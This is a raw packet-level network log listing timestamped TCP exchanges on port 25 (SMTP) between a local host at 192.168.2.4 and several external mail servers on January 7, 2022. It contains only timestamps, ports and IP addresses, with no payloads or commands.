Jan 7, 2022 15:56:03.735749006 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.735826015 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.735865116 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.746654987 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.746777058 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.756931067 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.756961107 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.757361889 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.783377886 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783413887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783425093 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783437967 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783449888 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783462048 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783474922 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783487082 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783499002 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783510923 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783523083 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783535004 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783545971 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783554077 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783557892 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783570051 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783582926 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783595085 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783602953 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783607960 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783621073 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783632994 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783643961 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783649921 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783655882 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783668041 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783670902 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783679962 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783682108 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783690929 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783700943 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783703089 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783724070 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783729076 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783736944 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783750057 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783759117 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783762932 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783775091 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783787966 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783797979 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783799887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783814907 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783849955 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783860922 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783873081 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783881903 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783907890 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783932924 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.783945084 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.783987999 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.784012079 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784024954 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784037113 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784054041 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.784090996 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.784917116 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784951925 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784964085 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784976959 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784986973 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.784996033 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.784998894 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785012960 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785026073 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785039902 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785051107 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785058022 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785063028 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785075903 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785082102 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785088062 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785100937 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785113096 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785125017 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785136938 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785140991 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785147905 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785161018 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785165071 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785173893 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785186052 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785193920 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785198927 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785218000 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785231113 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785232067 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785243988 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785258055 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785269022 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785281897 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785284042 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785294056 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785305977 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785317898 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785329103 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785341024 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.785351992 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785388947 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.785407066 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.788180113 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788197994 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788212061 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788223982 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788237095 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788248062 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788259029 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788271904 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.788300991 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.788360119 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.799324036 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.799352884 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.799555063 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.799611092 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.799994946 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:03.817821980 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.817975998 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.836270094 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836294889 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836304903 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836313009 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836321115 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836328030 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836334944 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836343050 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836350918 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836360931 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836400032 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836414099 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836438894 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836463928 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836467981 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836477041 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836479902 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836484909 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836493015 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836505890 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836508989 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836534023 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836536884 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836558104 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836568117 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836580038 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836585045 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836591005 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836602926 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836607933 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836639881 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836677074 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836714983 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836726904 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836739063 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836750031 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836760998 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836761951 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836791992 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836792946 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836802959 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836815119 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836816072 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836827040 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836842060 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836862087 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836873055 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836884022 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836884975 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836898088 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836900949 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836911917 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836925983 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836935997 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.836937904 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.836973906 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837019920 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837074995 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837086916 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837100983 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837114096 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837127924 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837140083 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837143898 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837196112 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837228060 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837481976 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837495089 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837507010 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837518930 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837537050 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837549925 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837589979 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837594032 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837609053 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837626934 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837649107 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837672949 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837680101 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837704897 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837716103 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837718010 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837729931 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837742090 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837750912 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837758064 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837769032 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837781906 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837790966 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837795019 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837806940 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837816954 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837817907 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837857008 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837867022 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837879896 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837882042 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837893009 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837905884 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837913036 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837948084 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837954044 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837965965 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837969065 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.837979078 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837990999 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.837999105 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.838004112 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838018894 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838028908 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.838033915 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838067055 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.838092089 CET	49770	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:56:03.838115931 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838128090 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838140011 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838151932 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838287115 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838299990 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838311911 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838324070 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838335991 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838352919 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838387966 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838399887 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838413000 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838426113 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838438988 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.838453054 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838464975 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838496923 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.838507891 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838541031 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838552952 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838583946 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838596106 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838608027 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838615894 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.838641882 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838654995 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838666916 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838679075 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838690996 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838702917 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838716030 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838726997 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838738918 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838751078 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838761091 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838773012 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838783979 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838797092 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838808060 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838819981 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838831902 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838841915 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838851929 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838865042 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838876963 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838887930 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838900089 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838912010 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838922977 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838934898 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838946104 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838957071 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838968992 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838979959 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.838992119 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.839024067 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.839034081 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.839066982 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.839077950 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840579033 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840593100 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840605021 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840616941 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840629101 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840640068 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840652943 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840663910 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840677023 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840712070 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840723991 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840734005 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840747118 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840790987 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840831995 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.840843916 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.841487885 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.841557980 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.841598034 CET	25	49771	194.152.32.74	192.168.2.4
Jan 7, 2022 15:56:03.841612101 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:03.841650009 CET	49771	25	192.168.2.4	194.152.32.74
Jan 7, 2022 15:56:03.841716051 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:03.861042976 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.861227036 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.861257076 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.881748915 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.881881952 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.882092953 CET	25	49772	195.3.96.71	192.168.2.4
Jan 7, 2022 15:56:03.882143021 CET	49772	25	192.168.2.4	195.3.96.71
Jan 7, 2022 15:56:03.883325100 CET	25	49773	194.152.32.75	192.168.2.4
Jan 7, 2022 15:56:03.883466005 CET	49773	25	192.168.2.4	194.152.32.75
Jan 7, 2022 15:56:03.888699055 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888721943 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888731003 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888741970 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888842106 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888868093 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888891935 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888921022 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.888932943 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889122963 CET	25	49770	142.250.150.26	192.168.2.4
Jan 7, 2022 15:56:03.889134884 CET	25	49770	142.250.150.26	192.168.2.4
